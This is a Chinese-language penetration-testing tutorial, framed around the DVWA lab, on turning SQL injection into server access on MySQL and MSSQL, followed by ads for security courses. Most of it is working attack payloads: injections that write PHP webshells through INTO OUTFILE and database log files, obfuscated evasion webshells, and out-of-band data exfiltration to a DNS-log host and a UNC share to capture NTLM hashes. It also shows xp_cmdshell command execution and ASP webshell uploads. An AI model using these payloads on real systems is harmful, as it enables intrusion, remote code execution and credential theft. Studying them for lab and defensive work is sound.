0x00 前言
上一节,我们已经介绍了基本的SQL查询语句,常见的SQL注入类型,DVWA靶场演示SQL注入。学习了上一节我们可以做到执行任意SQL语句,主要可以对数据库的数据进行操作,但是不能对服务器和应用进一步控制,本节就介绍下在有sql注入的情况下如何进行下一步的渗透,获取到服务器权限。
0x01 Getshell
这里我们还是以上一节说的DVWA靶场为例,利用SQL注入漏洞写入webshell获取网站权限。
目标环境:
PHP+MYSQL+LINUX
前提条件:
- mysql 是root权限
- 知道网站在服务器上的物理路径,且可写
- 没有过滤单引号
- `PHP`的`GPC`为 off状态
- mysql <= 5.6.34
当`secure_file_priv`的值没有具体值时,表示不对`MySQL`的导入|导出做限制
SHOW VARIABLES LIKE "secure_file_priv";
如果是null,表示`MySQL`不允许导入导出。(NULL不等于没有空)
而且在`mysql 5.6.34`版本以后 `secure_file_priv` 的值默认为NULL,并且无法用`SQL`语句对其进行修改,并且会报错如下:
`docker run -itd --name dvwa1 -p 8111:80 vulnerables/web-dvwa:1.9`
下载低版本的mysql测试
利用outfile和dumpfile,**outfile会在每行添加反斜杠,可导出多行,dumpfile只能导出一行,不会添加反斜杠,适合导出二进制文件:
```
?id=1' UNION ALL SELECT 1,'<?php phpinfo();?>' into outfile '/tmp/info.php'#
?id=1' UNION ALL SELECT 1,'<?php phpinfo();?>' into dumpfile '/tmp/info.php'#
```
如果不能使用union查询可以使用`fields terminated by`与`lines terminated by`:
```
?id=1' into outfile '/tmp/info.php' FIELDS TERMINATED BY '<?php phpinfo();?>'#
```
修改配置getshell:
```
vi /etc/mysql/my.cnf
secure_file_priv= "/"
```
小tricks:
利用日志文件getshell
```
show variables like '%general%'; --查看配置,日志是否开启,和mysql默认log地址(记下原地址方便恢复)
set global general_log = on; --开启日志监测,默认关闭(如果一直开文件会很大的)
set global general_log_file = '/var/www/html/info.php'; --设置日志路径
select '<?php phpinfo();?>'; --执行查询,写入shell
--SQL查询免杀shell
select "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>";
SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>";
--慢查询写shell,只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。
为什么要用慢查询写呢?上边说过开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错
show global variables like '%long_query_time%' --查看服务器默认时间值
show variables like '%slow_query_log%'; --查看慢查询信息
set global slow_query_log=1; --启用慢查询日志(默认禁用)
set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php'; --修改日志文件路径
select '<?php @eval($_POST[abc]);?>' or sleep(11); --写shell
```
0x02 OOB
利用mysql的函数,把信息传递到外网控制的机器,例如文件读取的函数,其实是对上面利用的一种变形和深度利用
前提条件:
- mysql <= 5.6.34
跟上面一样**secure_file_priv**,在5.6.34之前是空值,之后被设置为null,直接被禁止了
```
select @@version into outfile '//192.168.126.149/temp/o';
select @@version into dumpfile '//192.168.126.149/temp/o';
select load_file(concat('\\\\',version(),'.dnslog.cn\\a'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));
```
这里可能被利用窃取NetNtlm或者SMBrelay
responder -I eth0 -rv
0x03 MSSQL 执行命令
当碰到windows服务器上web应用有MSSQL注入时,可利用注入执行命令写webshell等
前提条件:
- SQL Server 2005以后默认关闭,需要手动开启
查看xp_cmdshell是否开启,并且使用语句开启:
```
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
exec sp_configure'xp_cmdshell', 1;
RECONFIGURE;
```
执行命令:
```
exec master..xp_cmdshell 'whoami';
```
如果xp_cmdshell被删除,我们可以利用xplog70.dll恢复被删除的xp_cmdshell
```
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'
```
这里就涉及到上传文件:
1.利用sql语句写入
```
exec sp_makewebtask 'c:\\windows\\temp\\xx.dll','select''<%execute(request("cmd"))%>'''
```
2.利用命令执行,写入或下载
```
exec xp_cmdshell 'echo "<%execute(request("cmd"))%>">> c:\\windows\\temp\\xx.dll)'
```
3.db权限
```
目录情况:
create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--
insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1--
select dir from temp where id=1 通过修改id来遍历目录
写数据
alter database 数据库名 set RECOVERY FULL 开启恢复模式full,当恢复模式为 SIMPLE 时,不允许使用 BACKUP LOG 语句。
create table test(str image)--
insert into test(str)values ('<%execute(request("cmd"))%>')--
backup log 数据库名 to disk='c:\可读写路径\x.asp'-- 这里的目录注意是可读写目录,不然会出问题
alter database 数据库名 set RECOVERY simple-- 关闭恢复模式full
```
其他:
- COM组件利用
- CLR利用
- SQL Server 2016 R利用
- SQL Server 2017 Python利用
- 沙盒利用(openrowset)
- Agent Job利用
0X04 总结
SQL注入到Getshell
课程地址:
Android10系统定制之frida逆向分析速成培训班(定制专业的安全手机)
https://m.weishi100.com/mweb/series/?id=1373351
Web安全攻防实战零基础速成培训班
https://m.weishi100.com/mweb/series/?id=1372437
推荐阅读